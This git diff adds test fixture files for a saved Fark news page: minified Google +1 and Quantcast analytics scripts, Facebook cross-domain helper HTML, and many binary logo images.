+Va[w]([Z.q,function(a,b,c){Ib=c;b&&Hb[w](b);Wb(Rb,a);Wb(Sb,c[Z.d].annotation);Wb(Tb,c[Z.d].bimodal);if(b=t.__GOOGLEAPIS)b.googleapis&&!b["googleapis.config"]&&(b["googleapis.config"]=b.googleapis),R(Y,"ci",[])[w](b),t.__GOOGLEAPIS=l;hb(p);var e=t.___gcfg;b=gb("cu");if(e&&e!==t.___gu){var d={};jb(d,e);b[w](d);t.___gu=e}var e=gb("cu"),g=u.scripts||u[la]("script")||[],d=[],j=[];j[w][L](j,gb("us"));for(var h=0;h<g[F];++h)for(var f=g[h],i=0;i<j[F];++i)f.src&&0==f.src[B](j[i])&&d[w](f);0==d[F] [...]
+g[g[F]-1].src)&&d[w](g[g[F]-1]);for(g=0;g<d[F];++g)d[g][J]("gapi_processed")||(d[g][E]("gapi_processed",p),(j=d[g])?(h=j.nodeType,j=3==h||4==h?j.nodeValue:j.textContent||j.innerText||j.innerHTML||""):j=l,(j=kb(j))&&e[w](j));g=gb("cd");e=0;for(d=g[F];e<d;++e)jb(hb(),g[e]);g=gb("ci");e=0;for(d=g[F];e<d;++e)jb(hb(),g[e]);e=0;for(d=b[F];e<d;++e)jb(hb(),b[e]);if("explicit"!=$("parsetags")){b=R(Y,"sws",[]);b[w][L](b,a);var m;if(c){var C=c[Z.b];C&&(m=function(){P.setTimeout(C,0)},delete c[Z.b]) [...]
+Q[ja])try{Kb(l,p)}catch(k){}var n=function(){Kb(m,p)};if("complete"===Q[ja])n();else{var r=s,y=function(){if(!r)return r=p,n[L](this,arguments)};P.addEventListener?(P.addEventListener("load",y,s),P.addEventListener("DOMContentLoaded",y,s)):P.attachEvent&&(P.attachEvent("onreadystatechange",function(){"complete"===Q[ja]&&y[L](this,arguments)}),P.attachEvent("onload",y))}}}]);var Xb=/^\{h\:'/,Yb=/^!_/,Vb=function(a,b){a=v(a);if(Xb[x](a))return p;a=a[z](Yb,"");if(!/^\{/[x](a))return s;try{v [...]
+"baseline";a[I].display="inline-block";a=b[I];a.position="static";a.left=0;a.top=0;a.visibility="visible";e&&(a.width=e+"px");c&&(a.height=c+"px");d&&mb(d,3)}b["data-csi-wdt"]=(new Date)[ka]()}};Ra("bs0",p,t.gapi._bs);Ra("bs1",p);delete t.gapi._bs;})();
+gapi.load("plusone",{callback:window["gapi_onload"],_c:{"jsl":{"ci":{"services":{},"deviceType":"desktop","lexps":[69,100,71,98,96,79,74,45,17,86,82,92,94,61,90,30],"inline":{"css":1},"report":{},"oauth-flow":{"authUrl":"https://accounts.google.com/o/oauth2/auth","proxyUrl":"https://accounts.google.com/o/oauth2/postmessageRelay"},"isPlusUser":true,"iframes":{"additnow":{"methods":["launchurl"],"url":"https://apis.google.com/additnow/additnow.html?bsv"},"plus":{"methods":["onauth"],"url": [...]
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_fark/quant.js b/src/test/resources/s/Filer_for_fark/quant.js
new file mode 100644
index 0000000..ab78e51
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/quant.js
@@ -0,0 +1,33 @@
+/* Copyright (c) 2008-2012, Quantcast Corp. */
+if(!__qc){var __qc={qcdst:function(){if(__qc.qctzoff(0)!=__qc.qctzoff(6))return 1;return 0;},qctzoff:function(m){var d1=new Date(2000,m,1,0,0,0,0);var t=d1.toGMTString();var d3=new Date(t.substring(0,t.lastIndexOf(" ")-1));return d1-d3;},qceuc:function(s){if(typeof(encodeURIComponent)=='function'){return encodeURIComponent(s);}
+else{return escape(s);}},qcrnd:function(){return Math.round(Math.random()*2147483647);},qcgc:function(n){var v='';var c=document.cookie;if(!c)return v;var i=c.indexOf(n+"=");var len=i+n.length+1;if(i>-1){var end=c.indexOf(";",len);if(end<0)end=c.length;v=c.substring(len,end);}
+return v;},qcdomain:function(){var d=document.domain;if(d.substring(0,4)=="www.")d=d.substring(4,d.length);var a=d.split(".");var len=a.length;if(len<3)return d;var e=a[len-1];if(e.length<3)return d;d=a[len-2]+"."+a[len-1];return d;},qhash2:function(h,s){for(var i=0;i<s.length;i++){h^=s.charCodeAt(i);h+=(h<<1)+(h<<4)+(h<<7)+(h<<8)+(h<<24);}
+return h;},qhash:function(s){var h1=0x811c9dc5,h2=0xc9dc5118;var hash1=__qc.qhash2(h1,s);var hash2=__qc.qhash2(h2,s);return(Math.round(Math.abs(hash1*hash2)/65536)).toString(16);},sd:["4dcfa7079941","127fdf7967f31","588ab9292a3f","32f92b0727e5","22f9aa38dfd3","a4abfe8f3e04","18b66bc1325c","958e70ea2f28","bdbf0cb4bbb","65118a0d557","40a1d9db1864","18ae3d985046","3b26460f55d"],qcsc:function(){var s="";var d=__qc.qcdomain();if(__qc.qad==1)return";fpan=u;fpa=";var qh=__qc.qhash(d);for(var i= [...]
+var u=document;var a=__qc.qcgc("__qca");if(a.length>0){s+=";fpan=0;fpa="+a;}
+else{var da=new Date();var db=new Date(da.getTime()+47335389000);a='P0-'+__qc.qcrnd()+'-'+da.getTime();u.cookie="__qca="+a+"; expires="+db.toGMTString()+"; path=/; domain="+d;a=__qc.qcgc("__qca");if(a.length>0){s+=";fpan=1;fpa="+a;}
+else{s+=";fpan=u;fpa=";}}
+return s;},qcdc:function(n){document.cookie=n+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain="+__qc.qcdomain();},qpxload:function(img){if(img&&typeof(img.width)=="number"&&img.width==3){__qc.qcdc("__qca");}},qcdnt:function(){var ipf=false;if(typeof(window.external)!=='undefined'&&window.external!==null){var we=window.external;ipf=(typeof we.InPrivateFilteringEnabled==='function'&&we.InPrivateFilteringEnabled()===true);}
+return(ipf||navigator.doNotTrack==="1"||navigator.doNotTrack==="yes"||navigator.msDoNotTrack==="1")},qcp:function(p,myqo){var s='',a=null;uh=null;var media='webpage',event='load';if(myqo!=null){for(var k in myqo){if(typeof(k)!='string'){continue;}
+if(typeof(myqo[k])!='string'){continue;}
+if(k=='uid'||k=='uh'){if(__qc.qcdnt()===false){uh=__qc.qhash(myqo[k]);}
+delete myqo[k];continue;}
+if(k=='qacct'){a=myqo[k];continue;}
+s+=';'+k+p+'='+__qc.qceuc(myqo[k]);if(k=='media'){media=myqo[k];}
+if(k=='event'){event=myqo[k];}}}
+if(typeof a!="string"){if((typeof _qacct=="undefined")||(_qacct.length==0))return'';a=_qacct;}
+if(typeof uh==='string'){myqo['uh']=uh;s+=';uh'+p+'='+__qc.qceuc(uh);}
+if(media=='webpage'&&event=='load'){for(var i=0;i<__qc.qpixelsent.length;i++){if(__qc.qpixelsent[i]==a)return'';}
+__qc.qpixelsent.push(a);}
+if(media=='ad'){__qc.qad=1;}
+s=';a'+p+'='+a+s;return s;},qcesc:function(s){return s.replace(/\./g,'%2E').replace(/,/g,'%2C');},qcd:function(o){return(typeof(o)!="undefined"&&o!=null);},qcogl:function(){var m=document.getElementsByTagName('meta');var o='';for(var i=0;i<m.length;i++){if(o.length>=1000)return o;if(__qc.qcd(m[i])&&__qc.qcd(m[i].attributes)&&__qc.qcd(m[i].attributes.property)&&__qc.qcd(m[i].attributes.property.value)&&__qc.qcd(m[i].content)){var p=m[i].attributes.property.value;var c=m[i].content;if(p.le [...]
+return __qc.qceuc(o);},firepixel:function(qoptions){var e=(typeof(encodeURIComponent)=='function')?"n":"s";var r=__qc.qcrnd();var sr='',qo='',qm='',url='',ref='',je='u',ns='1';var qocount=0;__qc.qad=0;if(typeof __qc.qpixelsent=="undefined"){__qc.qpixelsent=new Array();}
+if(typeof qoptions!="undefined"&&qoptions!=null){__qc.qopts=qoptions;for(var k in __qc.qopts){if(typeof(__qc.qopts[k])=='string'){qo=__qc.qcp("",__qc.qopts);break;}else if(typeof(__qc.qopts[k])=='object'&&__qc.qopts[k]!=null){++qocount;qo+=__qc.qcp("."+qocount,__qc.qopts[k]);}}}else if(typeof _qacct=="string"){qo=__qc.qcp("",null);}
+if(qo.length==0)return;var ce=(navigator.cookieEnabled)?"1":"0";if(typeof navigator.javaEnabled!='undefined')je=(navigator.javaEnabled())?"1":"0";if(typeof _qmeta!="undefined"&&_qmeta!=null){qm=';m='+__qc.qceuc(_qmeta);_qmeta=null;}
+if(self.screen){sr=screen.width+"x"+screen.height+"x"+screen.colorDepth;}
+var d=new Date();var dst=__qc.qcdst();var qs='http';if(window.location.protocol=='https:'){qs+='s';}
+qs+="://pixel.quantserve.com";var fp=__qc.qcsc();if(window.location&&window.location.href)url=__qc.qceuc(window.location.href);if(window.document&&window.document.referrer)ref=__qc.qceuc(window.document.referrer);if(self==top)ns='0';var ogl=__qc.qcogl();var img=new Image();img.alt="";img.src=qs+'/pixel'+';r='+r+qo+fp+';ns='+ns+';ce='+ce+';je='+je+';sr='+sr+';enc='+e+';dst='+dst+';et='+d.getTime()+';tzo='+d.getTimezoneOffset()+qm+';ref='+ref+';url='+url+';ogl='+ogl;img.onload=function(){_ [...]
+if(typeof _qoptions!="undefined"&&_qoptions!=null){__qc.firepixel(_qoptions);_qoptions=null;}else if(!_qevents.length&&typeof _qacct!="undefined"){__qc.firepixel(null);}
+if(!__qc.evts){for(var k in _qevents){__qc.firepixel(_qevents[k]);}
+_qevents={push:function(){var a=arguments;for(var i=0;i<a.length;i++){__qc.firepixel(a[i]);}}};__qc.evts=1;}}};}
+function quantserve(){__qc.quantserve();}
+quantserve();
diff --git a/src/test/resources/s/Filer_for_fark/ramblingbeachcatcom1.jpg b/src/test/resources/s/Filer_for_fark/ramblingbeachcatcom1.jpg
new file mode 100644
index 0000000..d290705
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/ramblingbeachcatcom1.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/reuters.gif b/src/test/resources/s/Filer_for_fark/reuters.gif
new file mode 100644
index 0000000..375acd8
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/reuters.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/scribollogowide.jpg b/src/test/resources/s/Filer_for_fark/scribollogowide.jpg
new file mode 100644
index 0000000..2434a1f
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/scribollogowide.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/sfgate.png b/src/test/resources/s/Filer_for_fark/sfgate.png
new file mode 100644
index 0000000..b2c726a
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/sfgate.png differ
diff --git a/src/test/resources/s/Filer_for_fark/shareFacebook.gif b/src/test/resources/s/Filer_for_fark/shareFacebook.gif
new file mode 100644
index 0000000..8193c58
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/shareFacebook.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/shareTwitter.png b/src/test/resources/s/Filer_for_fark/shareTwitter.png
new file mode 100644
index 0000000..5f0f7a1
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/shareTwitter.png differ
diff --git a/src/test/resources/s/Filer_for_fark/smithsonianmagazine.jpg b/src/test/resources/s/Filer_for_fark/smithsonianmagazine.jpg
new file mode 100644
index 0000000..07b3526
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/smithsonianmagazine.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/starpulse.gif b/src/test/resources/s/Filer_for_fark/starpulse.gif
new file mode 100644
index 0000000..e141add
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/starpulse.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/sunnewsnetwork.jpg b/src/test/resources/s/Filer_for_fark/sunnewsnetwork.jpg
new file mode 100644
index 0000000..dfe5bdf
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/sunnewsnetwork.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/sunsentinel.gif b/src/test/resources/s/Filer_for_fark/sunsentinel.gif
new file mode 100644
index 0000000..42ebd1b
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/sunsentinel.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/theatlantic.png b/src/test/resources/s/Filer_for_fark/theatlantic.png
new file mode 100644
index 0000000..861b0db
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/theatlantic.png differ
diff --git a/src/test/resources/s/Filer_for_fark/theonion.gif b/src/test/resources/s/Filer_for_fark/theonion.gif
new file mode 100644
index 0000000..069d10f
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/theonion.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/therawstory.jpg b/src/test/resources/s/Filer_for_fark/therawstory.jpg
new file mode 100644
index 0000000..3ad5f2e
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/therawstory.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/thesmokinggun.gif b/src/test/resources/s/Filer_for_fark/thesmokinggun.gif
new file mode 100644
index 0000000..46bd255
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/thesmokinggun.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/thisislincolnshire.jpg b/src/test/resources/s/Filer_for_fark/thisislincolnshire.jpg
new file mode 100644
index 0000000..6769f62
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/thisislincolnshire.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/timesofisrael.jpg b/src/test/resources/s/Filer_for_fark/timesofisrael.jpg
new file mode 100644
index 0000000..7c724e8
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/timesofisrael.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/today.png b/src/test/resources/s/Filer_for_fark/today.png
new file mode 100644
index 0000000..d7606e8
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/today.png differ
diff --git a/src/test/resources/s/Filer_for_fark/torontostar.png b/src/test/resources/s/Filer_for_fark/torontostar.png
new file mode 100644
index 0000000..00a8bd3
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/torontostar.png differ
diff --git a/src/test/resources/s/Filer_for_fark/usatoday.png b/src/test/resources/s/Filer_for_fark/usatoday.png
new file mode 100644
index 0000000..694f593
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/usatoday.png differ
diff --git a/src/test/resources/s/Filer_for_fark/usnews1.jpg b/src/test/resources/s/Filer_for_fark/usnews1.jpg
new file mode 100644
index 0000000..5e6c93e
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/usnews1.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/wbtv3charlotte.jpg b/src/test/resources/s/Filer_for_fark/wbtv3charlotte.jpg
new file mode 100644
index 0000000..5f32c0a
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/wbtv3charlotte.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/wtkr.jpg b/src/test/resources/s/Filer_for_fark/wtkr.jpg
new file mode 100644
index 0000000..33734c9
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/wtkr.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/x103indianapolis.jpg b/src/test/resources/s/Filer_for_fark/x103indianapolis.jpg
new file mode 100644
index 0000000..1666d5f
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/x103indianapolis.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/xd_arbiter.htm b/src/test/resources/s/Filer_for_fark/xd_arbiter.htm
new file mode 100644
index 0000000..d5c7161
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/xd_arbiter.htm
@@ -0,0 +1,33 @@
+<!DOCTYPE html>
+<html><head>
+<meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Facebook Cross-Domain Messaging helper</title></head><body><script> document.domain = 'facebook.com'; var ES5 = function(){
+__d("ES5ArrayPrototype",[],function(a,b,c,d,e,f){var g={};g.map=function(h,i){if(typeof h!='function')throw new TypeError();var j,k=this.length,l=new Array(k);for(j=0;j<k;++j)if(j in this)l[j]=h.call(i,this[j],j,this);return l;};g.forEach=function(h,i){g.map.call(this,h,i);};g.filter=function(h,i){if(typeof h!='function')throw new TypeError();var j,k,l=this.length,m=[];for(j=0;j<l;++j)if(j in this){k=this[j];if(h.call(i,k,j,this))m.push(k);}return m;};g.every=function(h,i){if(typeof h!=' [...]
+__d("ES5FunctionPrototype",[],function(a,b,c,d,e,f){var g={};g.bind=function(h){if(typeof this!='function')throw new TypeError('Bind must be called on a function');var i=this,j=Array.prototype.slice.call(arguments,1);function k(){return i.apply(h,j.concat(Array.prototype.slice.call(arguments)));}k.displayName='bound:'+(i.displayName||i.name||'(?)');k.toString=function l(){return 'bound: '+i;};return k;};e.exports=g;});
+__d("ES5StringPrototype",[],function(a,b,c,d,e,f){var g={};g.trim=function(){if(this==null)throw new TypeError('String.prototype.trim called on null or undefined');return String.prototype.replace.call(this,/^\s+|\s+$/g,'');};e.exports=g;});
+__d("ES5Array",[],function(a,b,c,d,e,f){var g={};g.isArray=function(h){return Object.prototype.toString.call(h)=='[object Array]';};e.exports=g;});
+__d("ES5Object",[],function(a,b,c,d,e,f){var g={};g.create=function(h){var i=typeof h;if(i!='object'&&i!='function')throw new TypeError('Object prototype may only be a Object or null');var j=new Function();j.prototype=h;return new j();};g.keys=function(h){var i=typeof h;if(i!='object'&&i!='function'||h===null)throw new TypeError('Object.keys called on non-object');var j=[];for(var k in h)if(Object.prototype.hasOwnProperty.call(h,k))j.push(k);var l=!({toString:true}).propertyIsEnumerable( [...]
+__d("ES5Date",[],function(a,b,c,d,e,f){var g={};g.now=function(){return new Date().getTime();};e.exports=g;});
+/**
+ * @providesModule JSON3
+ * @option preserve-header
+ *
+ *! JSON v3.2.3 | http://bestiejs.github.com/json3 | Copyright 2012, Kit Cambridge | http://kit.mit-license.org
+ */__d("JSON3",[],function(a,b,c,d,e,f){(function(){var g={}.toString,h,i,j,k=e.exports={},l='{"A":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}',m,n,o,p,q,r,s,t,u,v,w,x,y,z,aa,ba=new Date(-3509827334573292),ca,da,ea;try{ba=ba.getUTCFullYear()==-109252&&ba.getUTCMonth()===0&&ba.getUTCDate()==1&&ba.getUTCHours()==10&&ba.getUTCMinutes()==37&&ba.getUTCSeconds()==6&&ba.getUTCMilliseconds()==708;}catch(fa){}if(!ba){ca=Math.floor;da=[0,31,59,90,120,151,181,212,243,273,304,334];ea=function(ga,h [...]
+__d("ES5",["ES5ArrayPrototype","ES5FunctionPrototype","ES5StringPrototype","ES5Array","ES5Object","ES5Date","JSON3"],function(a,b,c,d,e,f){var g=b('ES5ArrayPrototype'),h=b('ES5FunctionPrototype'),i=b('ES5StringPrototype'),j=b('ES5Array'),k=b('ES5Object'),l=b('ES5Date'),m=b('JSON3'),n=Array.prototype.slice,o=Object.prototype.toString,p={'JSON.stringify':m.stringify,'JSON.parse':m.parse},q={array:g,'function':h,string:i,Object:k,Array:j,Date:l};for(var r in q){if(!q.hasOwnProperty(r))conti [...]
+return ES5.apply(null, arguments);
+};
+function emptyFunction() {};
+var require,__d;(function(a){var b={},c={},d=['global','require','requireDynamic','requireLazy','module','exports'];require=function(e,f){if(c.hasOwnProperty(e))return c[e];if(!b.hasOwnProperty(e)){if(f)return null;throw new Error('Module '+e+' has not been defined');}var g=b[e],h=g.deps,i=h.length,j,k=[];for(var l=0;l<i;l++){switch(h[l]){case 'module':j=g;break;case 'exports':j=g.exports;break;case 'global':j=a;break;case 'require':j=require;break;case 'requireDynamic':j=require;break;c [...]
+__d("QueryString",[],function(a,b,c,d,e,f){function g(k){var l=[];ES5(ES5('Object','keys',false,k),'forEach',true,function(m){var n=k[m];if(typeof n==='undefined')return;if(n===null){l.push(m);return;}l.push(encodeURIComponent(m)+'='+encodeURIComponent(n));});return l.join('&');}function h(k,l){var m={};if(k==='')return m;var n=k.split('&');for(var o=0;o<n.length;o++){var p=n[o].split('=',2),q=decodeURIComponent(p[0]);if(l&&m.hasOwnProperty(q))throw new URIError('Duplicate key: '+q);m[q] [...]
+__d("resolveWindow",[],function(a,b,c,d,e,f){function g(h){var i=window,j=h.split('.');try{for(var l=0;l<j.length;l++){var m=j[l],n=/^frames\[['"]?([a-zA-Z0-9\-_]+)['"]?\]$/.exec(m);if(n){i=i.frames[n[1]];}else if(m==='opener'||m==='parent'||m==='top'){i=i[m];}else return null;}}catch(k){return null;}return i;}e.exports=g;});
+__d("Log",["sprintf"],function(a,b,c,d,e,f){var g=b('sprintf'),h={DEBUG:3,INFO:2,WARNING:1,ERROR:0};function i(k,l){var m=Array.prototype.slice.call(arguments,2),n=g.apply(null,m),o=window.console;if(o&&j.level>=k)o[l in o?l:'log'](n);}var j={level:-1,Level:h,debug:ES5(i,'bind',true,null,h.DEBUG,'debug'),info:ES5(i,'bind',true,null,h.INFO,'debug'),warn:ES5(i,'bind',true,null,h.WARNING,'debug'),error:ES5(i,'bind',true,null,h.ERROR,'debug')};e.exports=j;});
+__d("sprintf",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);var j=0;return h.replace(/%s/g,function(k){return i[j++];});}e.exports=g;});
+__d("XDM",["DOMEventListener","DOMWrapper","Flash","Log","UserAgent","emptyFunction","guid"],function(a,b,c,d,e,f){var g=b('DOMEventListener'),h=b('DOMWrapper'),i=b('Flash'),j=b('Log'),k=b('UserAgent'),l=b('emptyFunction'),m=b('guid'),n={},o={transports:[]},p=h.getWindow();function q(s){var t={},u=s.length,v=o.transports;while(u--)t[s[u]]=1;u=v.length;while(u--){var w=v[u],x=n[w];if(!t[w]&&x.isAvailable())return w;}}var r={register:function(s,t){j.debug('Registering %s as XDM provider',s [...]
+__d("DOMEventListener",["wrapFunction"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h,i;if(window.addEventListener){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.addEventListener(l,m.wrapper,false);};i=function(k,l,m){k.removeEventListener(l,m.wrapper,false);};}else if(window.attachEvent){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.attachEvent('on'+l,m.wrapper);};i=function(k,l,m){k.detachEvent('on'+l,m.wrapper);};}var j={add:function(k,l,m){h(k,l,m);return {remove:function [...]
+__d("wrapFunction",[],function(a,b,c,d,e,f){var g={};function h(i,j,k){j=j||'default';return function(){var l=j in g?g[j](i,k):i;return l.apply(this,arguments);};}h.setWrapper=function(i,j){j=j||'default';g[j]=i;};e.exports=h;});
+__d("DOMWrapper",[],function(a,b,c,d,e,f){var g,h,i={setRoot:function(j){g=j;},getRoot:function(){return g||document.body;},setWindow:function(j){h=j;},getWindow:function(){return h||self;}};e.exports=i;});
+__d("Flash",["DOMWrapper","QueryString","UserAgent","copyProperties","guid"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('QueryString'),i=b('UserAgent'),j=b('copyProperties'),k=b('guid'),l={},m,n=g.getWindow().document;function o(t){var u=n.getElementById(t);if(u)u.parentNode.removeChild(u);delete l[t];}function p(){for(var t in l)if(l.hasOwnProperty(t))o(t);}function q(t){return t.replace(/\d+/g,function(u){return '000'.substring(u.length)+u;});}function r(t){if(!m){if(i.ie()>=9)win [...]
+__d("UserAgent",[],function(a,b,c,d,e,f){var g=false,h,i,j,k,l,m,n,o,p,q,r,s,t,u;function v(){if(g)return;g=true;var x=navigator.userAgent,y=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))/.exec(x),z=/(Mac OS X)|(Windows)|(Linux)/.exec(x);r=/\b(iPhone|iP[ao]d)/.exec(x);s=/\b(iP[ao]d)/.exec(x);p=/Android/i.exec(x);t=/FBAN\/\w+;/i.exec(x);u=/Mobile/i.exec(x);q=!!(/Win64/.exec(x));if(y){h=y[1]?parseFl [...]
+__d("copyProperties",[],function(a,b,c,d,e,f){function g(h,i,j,k,l,m,n){h=h||{};var o=[i,j,k,l,m],p=0,q;while(o[p]){q=o[p++];for(var r in q)h[r]=q[r];if(q.hasOwnProperty&&q.hasOwnProperty('toString')&&(typeof q.toString!='undefined')&&(h.toString!==q.toString))h.toString=q.toString;}return h;}e.exports=g;});
+__d("guid",[],function(a,b,c,d,e,f){function g(){return 'f'+(Math.random()*(1<<30)).toString(16).replace('.','');}e.exports=g;});
+__d("emptyFunction",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(j){return function(){return j;};}function i(){}g(i,{thatReturns:h,thatReturnsFalse:h(false),thatReturnsTrue:h(true),thatReturnsNull:h(null),thatReturnsThis:function(){return this;},thatReturnsArgument:function(j){return j;}});e.exports=i;});require("initXdArbiter");</script></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_fark/xd_arbiter_002.htm b/src/test/resources/s/Filer_for_fark/xd_arbiter_002.htm
new file mode 100644
index 0000000..d5c7161
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/xd_arbiter_002.htm
@@ -0,0 +1,33 @@
+<!DOCTYPE html>
+<html><head>
+<meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Facebook Cross-Domain Messaging helper</title></head><body><script> document.domain = 'facebook.com'; var ES5 = function(){
+__d("ES5ArrayPrototype",[],function(a,b,c,d,e,f){var g={};g.map=function(h,i){if(typeof h!='function')throw new TypeError();var j,k=this.length,l=new Array(k);for(j=0;j<k;++j)if(j in this)l[j]=h.call(i,this[j],j,this);return l;};g.forEach=function(h,i){g.map.call(this,h,i);};g.filter=function(h,i){if(typeof h!='function')throw new TypeError();var j,k,l=this.length,m=[];for(j=0;j<l;++j)if(j in this){k=this[j];if(h.call(i,k,j,this))m.push(k);}return m;};g.every=function(h,i){if(typeof h!=' [...]
+__d("ES5FunctionPrototype",[],function(a,b,c,d,e,f){var g={};g.bind=function(h){if(typeof this!='function')throw new TypeError('Bind must be called on a function');var i=this,j=Array.prototype.slice.call(arguments,1);function k(){return i.apply(h,j.concat(Array.prototype.slice.call(arguments)));}k.displayName='bound:'+(i.displayName||i.name||'(?)');k.toString=function l(){return 'bound: '+i;};return k;};e.exports=g;});
+__d("ES5StringPrototype",[],function(a,b,c,d,e,f){var g={};g.trim=function(){if(this==null)throw new TypeError('String.prototype.trim called on null or undefined');return String.prototype.replace.call(this,/^\s+|\s+$/g,'');};e.exports=g;});
+__d("ES5Array",[],function(a,b,c,d,e,f){var g={};g.isArray=function(h){return Object.prototype.toString.call(h)=='[object Array]';};e.exports=g;});
+__d("ES5Object",[],function(a,b,c,d,e,f){var g={};g.create=function(h){var i=typeof h;if(i!='object'&&i!='function')throw new TypeError('Object prototype may only be a Object or null');var j=new Function();j.prototype=h;return new j();};g.keys=function(h){var i=typeof h;if(i!='object'&&i!='function'||h===null)throw new TypeError('Object.keys called on non-object');var j=[];for(var k in h)if(Object.prototype.hasOwnProperty.call(h,k))j.push(k);var l=!({toString:true}).propertyIsEnumerable( [...]
+__d("ES5Date",[],function(a,b,c,d,e,f){var g={};g.now=function(){return new Date().getTime();};e.exports=g;});
+/**
+ * @providesModule JSON3
+ * @option preserve-header
+ *
+ *! JSON v3.2.3 | http://bestiejs.github.com/json3 | Copyright 2012, Kit Cambridge | http://kit.mit-license.org
+ */__d("JSON3",[],function(a,b,c,d,e,f){(function(){var g={}.toString,h,i,j,k=e.exports={},l='{"A":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}',m,n,o,p,q,r,s,t,u,v,w,x,y,z,aa,ba=new Date(-3509827334573292),ca,da,ea;try{ba=ba.getUTCFullYear()==-109252&&ba.getUTCMonth()===0&&ba.getUTCDate()==1&&ba.getUTCHours()==10&&ba.getUTCMinutes()==37&&ba.getUTCSeconds()==6&&ba.getUTCMilliseconds()==708;}catch(fa){}if(!ba){ca=Math.floor;da=[0,31,59,90,120,151,181,212,243,273,304,334];ea=function(ga,h [...]
+__d("ES5",["ES5ArrayPrototype","ES5FunctionPrototype","ES5StringPrototype","ES5Array","ES5Object","ES5Date","JSON3"],function(a,b,c,d,e,f){var g=b('ES5ArrayPrototype'),h=b('ES5FunctionPrototype'),i=b('ES5StringPrototype'),j=b('ES5Array'),k=b('ES5Object'),l=b('ES5Date'),m=b('JSON3'),n=Array.prototype.slice,o=Object.prototype.toString,p={'JSON.stringify':m.stringify,'JSON.parse':m.parse},q={array:g,'function':h,string:i,Object:k,Array:j,Date:l};for(var r in q){if(!q.hasOwnProperty(r))conti [...]
+return ES5.apply(null, arguments);
+};
+function emptyFunction() {};
+var require,__d;(function(a){var b={},c={},d=['global','require','requireDynamic','requireLazy','module','exports'];require=function(e,f){if(c.hasOwnProperty(e))return c[e];if(!b.hasOwnProperty(e)){if(f)return null;throw new Error('Module '+e+' has not been defined');}var g=b[e],h=g.deps,i=h.length,j,k=[];for(var l=0;l<i;l++){switch(h[l]){case 'module':j=g;break;case 'exports':j=g.exports;break;case 'global':j=a;break;case 'require':j=require;break;case 'requireDynamic':j=require;break;c [...]
+__d("QueryString",[],function(a,b,c,d,e,f){function g(k){var l=[];ES5(ES5('Object','keys',false,k),'forEach',true,function(m){var n=k[m];if(typeof n==='undefined')return;if(n===null){l.push(m);return;}l.push(encodeURIComponent(m)+'='+encodeURIComponent(n));});return l.join('&');}function h(k,l){var m={};if(k==='')return m;var n=k.split('&');for(var o=0;o<n.length;o++){var p=n[o].split('=',2),q=decodeURIComponent(p[0]);if(l&&m.hasOwnProperty(q))throw new URIError('Duplicate key: '+q);m[q] [...]
+__d("resolveWindow",[],function(a,b,c,d,e,f){function g(h){var i=window,j=h.split('.');try{for(var l=0;l<j.length;l++){var m=j[l],n=/^frames\[['"]?([a-zA-Z0-9\-_]+)['"]?\]$/.exec(m);if(n){i=i.frames[n[1]];}else if(m==='opener'||m==='parent'||m==='top'){i=i[m];}else return null;}}catch(k){return null;}return i;}e.exports=g;});
